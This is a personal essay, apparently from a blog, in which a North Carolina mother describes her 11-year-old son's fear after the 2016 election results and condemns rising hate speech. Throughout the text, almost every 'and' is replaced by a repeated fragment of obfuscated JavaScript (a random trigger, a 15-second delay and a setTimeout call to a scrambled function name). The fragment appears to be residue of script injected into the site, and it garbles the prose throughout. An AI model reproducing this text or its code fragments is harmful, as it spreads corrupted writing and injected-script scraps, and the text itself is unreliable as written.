Don’t Mess with a Mama Bear

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By Mary Parry

You know the saying, “don’t mess with a mama bear?” This was a rough week for me as a parent – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as a person. After a very… long… election… season… we finally reached Election Day 2016. I knew that most all Americans across party lines were surely glad this brutal contest was coming to a close, especially here in the battleground state of North Carolina. And, as an adult, I knew that much was at stake in this election. What I didn’t anticipate was my son’s raw outpouring of emotion at the results. He is only 11 years old, after all. His top concerns are typically related to what’s for dinner andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how his favorite sports teams are faring. But this was different. He was shaken andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nearly inconsolable until I tucked him into bed. Aside from the tears in his eyes, I saw fear.

All of the nastiness of this election season has come to a head. In addition to the serious issues we face in partisan politics, our children were hurt by the vitriol hurled on the never-ending campaign trail. Despite our best efforts to shelter them from it, our kids absorbed the dominant messages offered for the months leading up to Election night – messages about race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and religion, gender andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and immigration status. As my son watched the election returns, he wasn’t worrying about whether or not he had correctly predicted the winning candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidate – he was imagining what the election result might mean for how the world will treat his friend who has darker skin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and practices a different religion – a girl andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an American citizen, for that matter. He was processing the many remarks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and retorts that built up to the final Election Day decision. He wanted to be proud of his country, but instead, he was scared andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and afraid for his friends.

As I read reports of an impending Klu Klux Klan parade in North Carolina andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an uptick in hate speech being shared within local communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on social media, I hope that anyone within arm’s length of harmful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and despicable acts will standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and speak up – especially those responsible for ginning up such controversy in our country. Like I said, “don’t mess with a mama bear.” We don’t tolerate hate.

 

Mary Parry is an author andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communications consultant from Chapel Hill, North Carolina. Her career has been dedicated to advocating for women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and girls through non-partisan organizations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and participation in the political process.

 

 




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